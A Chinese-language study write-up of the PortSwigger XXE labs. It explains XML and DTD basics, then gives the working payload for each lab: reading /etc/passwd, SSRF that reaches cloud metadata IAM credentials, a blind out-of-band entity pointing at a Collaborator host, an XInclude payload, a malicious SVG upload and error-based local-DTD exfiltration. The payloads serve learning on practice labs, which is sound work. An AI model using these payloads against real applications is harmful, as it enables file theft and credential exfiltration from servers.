前言
经过这一段时间基本将portswigger靶场的服务器端主题做了一遍,经过和大神交流发现其实很多地方的理解过于浅显,本次将从头开始仔细从原理上梳理整个web端的这些靶场,以便更好的理解,本次就到这来从刚刚学习完的XEE主题开始复盘
一,对xxe的理解
xxe的中文全程叫xml外部实体注入,这里我认为需要对一些基础的知识进行较为深入的了解,不然在渗透的过程中就会像我一样看上去注入成功,其实是一头雾水,只知道发送什么代码,却不知道他们的具体内涵
1.1什么是xml
XML是一种用于标记电子文件使其具有结构性的标记语言,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据 它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
用我自己的理解来讲就是我们输入数据其实计算机理解不了,需要我们再输入一些东西辅助计算机进行理解,标名这是什么数据,其实更像是一种数据库,只是功能上只能存数据,也更简单进行编写,方便计算机运用,xml就可以兼容几乎所有的数据,让计算机理解,具体参考本站中的这一篇文章
1.2 DTD实体
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。实体根据引用方式,还可分为内部实体与外部实体。 外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。 如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明
1.2.1 内部文档声明
<?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
1.2.2 外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
这是包含 DTD 的 "note.dtd" 文件:
!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
外部实体,用来引入外部资源。有SYSTEM
和PUBLIC
两个关键字,表示实体来自本地计算机还是公共计算机。
<!ENTITY 实体名称 SYSTEM "URI/URL"> 或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
外部实体示例代码:
<?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&file;©right;</author>
PHP引用外部实体,常见的利用协议:
file://文件绝对路径 如:file:///etc/passwd http://url/file.txt php://filter/read=convert.base64-encode/resource=xxx.php
参数实体+外部实体
<!ENTITY % 实体名称 SYSTEM "URI/URL">
参数实体+外部实体示例代码:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> %file; ]>
%file
(参数实体)是在DTD中被引用的,而&file;
是在xml文档中被引用的。
来源:从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)
1.3 XXE原理
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
1.4 XXE的特征
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
特征1 --- 看到url是 .ashx后缀的
特征2 --- 响应体是xml
特征3 --- 看请求包中有一个Accept:看看其中有没有xml
- 允许上传XML文件的地方
- 允许上传Excel、Word、SVG等文件的地方 (这些文件本质也是XML)
- 请求中
Content-Type
允许为application/xml
的数据包(可以手动修改,比如将application/json
中的json直接修改为xml)
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,查看是否有提交xml文档,然后修改提交的xml文档,或者修改一些Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞。
具体测试方法
以下文章有相当详细的检测扫描方法
XXE漏洞原理、检测与修复 - Mysticbinary - 博客园 (cnblogs.com)
同时提供一个ctf的例子表明如何应用
1.5 XXE的一些漏洞利用
XXE漏洞利用技巧:从XML到远程代码执行 - FreeBuf网络安全行业门户
二,开始学习burpsuite靶场
这里在了解完以上的知识之后对靶场的理解就会容易很多
2.1 实验室:利用 XXE 使用外部实体检索文件
这里我们在学习完基础知识后,直接进入靶场测试验证我们学习到的检测可能有XXE的方法
这里我们进行抓包查看库存的区域,发现直接提交了xml文档,说明很有可能出现XXE攻击,接下来几个靶场发现也会在请求中直接出现xml文档,说明都有可能出现XXE攻击
接下来我们观察这段xml代码,根据我们之前学习的有关xml的相关知识,由于要往xml中添加东西得到我们想要的信息,我们需要在xml代码中添加外部实体(明显出现system为外部实体),这次我们设置根元素为test 实体名称为xxe,后面利用php引用外部实体的方法 file://文件绝对路径 如:file:///etc/passwd
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
接下来在productId中使用&xxe;引用这个实体,就可以得出信息
2.2 实验室:利用 XXE 执行 SSRF 攻击
还是上一个实验室的步骤,在检索库存时抓包我们观察到出现了xml代码,这里结合题目说敏感信息存储在一个终端节点,也就是url:http://169.254.169.254/
接下来我们同样是进行XEE执行,php引用外部实体协议 http://url/file.txt 还是添加外部实体,根元素test,实体名称xxe,system代表外部实体
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
同时依旧更改为&xxe;引用这个外部实体
在这个靶场中,回显出了一个文件夹名称latest,接下来我们将latest带入外部实体url中
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/"> ]>
又会出现新的文件夹名称,逐渐迭代,最后的形式就变成了
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
这样我们就能得出其中的信息
2.3 实验室:带外交互的盲 XXE
同样的方法看出可能存在xee漏洞,这里我们使用相同的方法(2.2实验室)进行测试,发现并没有出现回显,只有报错,这里我们猜测是盲XXE(接下来的两个也是同样的XXE盲注),此时题目为我们提供了在burpsuite上使用带外技术的方法,这里我们调用burp的Collaborator功能,提取出一个域名放入(2.3实验室)的原来url存在的地方
在XML声明和stockCheck元素之间插入以下外部实体定义
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
我的是:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://ayct3c5dmrt6dfg1xtjc87rydpji7avz.oastify.com"> ]>
这里的根元素变成了stockCheck,实体名称是xxe,发送之后我们就可以在Collaborator选项卡中看到一些DNS和HTTP交互,这些交互是应用程序由于负载而启动的
2.4 实验室:通过 XML 参数实体进行带外交互的盲 XXE
这里我们依然使用2.3中的方法进行盲注,发现并没有出现意料中的回显
这里不得不提到,一般使用常规实体的XXE攻击会被阻止,因为应用程序进行了一些输入验证,或者使用的XML解析器进行了一些加固。在这种情况下,可以改用XML参数实体。这里我们在参数实体前加空格%,同时要注意的是,在之后引用的时候,也不能使用&,而是使用%,更改之后
回显成功,接下来我们看Collaborator
2.5 实验室:利用盲 XXE 使用恶意外部 DTD 泄露数据
通过带外技术检测一个隐蔽的XXE漏洞是非常好的,但它实际上并不能证明该漏洞是如何被利用的。攻击者真正想要实现的是泄露敏感数据。这可以通过隐蔽的XXE漏洞实现,但它涉及攻击者在其控制的系统上托管恶意DTD,然后从带内XXE有效负载内调用外部DTD,详细可看
【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)_xml注入测试_黑色地带(崛起)的博客-CSDN博客
2.6 实验室:利用盲 XXE 通过错误消息检索数据
同样利用了攻击服务器,这里暂不讨论,在上一题链接里有详细方法
2.7 实验室:利用 XInclude 检索文件
2.7.1 XInclude攻击
1、一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档。当客户端提交的数据被放入后端SOAP请求中,然后由后端SOAP服务处理时,就会出现这种情况。
2、在这种情况下,不能执行典型的XXE攻击,因为不能控制整个XML文档,因此不能定义或修改文件DOCTYPE元素。但也许可以使用XInclude替代。XInclude是XML规范的一部分,它允许从子文档构建XML文档。可以放置一个XInclude XML文档中的任何数据值内的攻击,因此在仅控制放置在服务器端XML文档中的单个数据项的情况下可以执行攻击
3、要执行 XInclude 攻击,需要引用 XInclude 命名空间并提供希望包含的文件的路径。
例如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
2.7.2 靶场步骤
在相同的位置抓包之后,我们发现没有xml文件内容出现了,好像变成了一个post请求无懈可击,这里我们没法控制xml文档,只能尝试进行Xinclude攻击,进行这个攻击的前提是要打开Xinclude开关,XInclude是XML规范的一部分,它允许从子文档构建XML文档。可以在XML文档中的任何数据值中放置XInclude Payload,要执行XInclude攻击,需要引用XInclude命名空间并提供要包含的文件的路径
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
这里我们将produceId改为这两行代码即可
2.8 实验室:通过图像文件上传利用XXE
一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式。如应用程序可能允许用户上载图像,并在上载后在服务器上处理或验证这些图像。即使应用程序希望接收PNG或JPEG之类的格式,所使用的图像处理库也可能支持SVG图像。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,从而到达XXE漏洞的隐藏攻击面。
也就是说我们可以写一段xml代码然后改为svg的形式以上传头像的形式上传上去,这样我们的头像就能显示出我们代码想要的东西
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">
&xxe;
</text>
</svg>
2.9 实验室:利用 XXE 通过重新调整本地 DTD 的用途来检索数据
在XML声明和stockCheck元素之间插入以下参数实体定义:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
这将导入Yelp DTD,然后重新定义ISOamso实体,触发包含/etc/passwd文件内容的错误消息
深入学习
XXE漏洞利用思路 - lktop - 博客园 (cnblogs.com)
【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)_xml注入测试_黑色地带(崛起)的博客-CSDN博客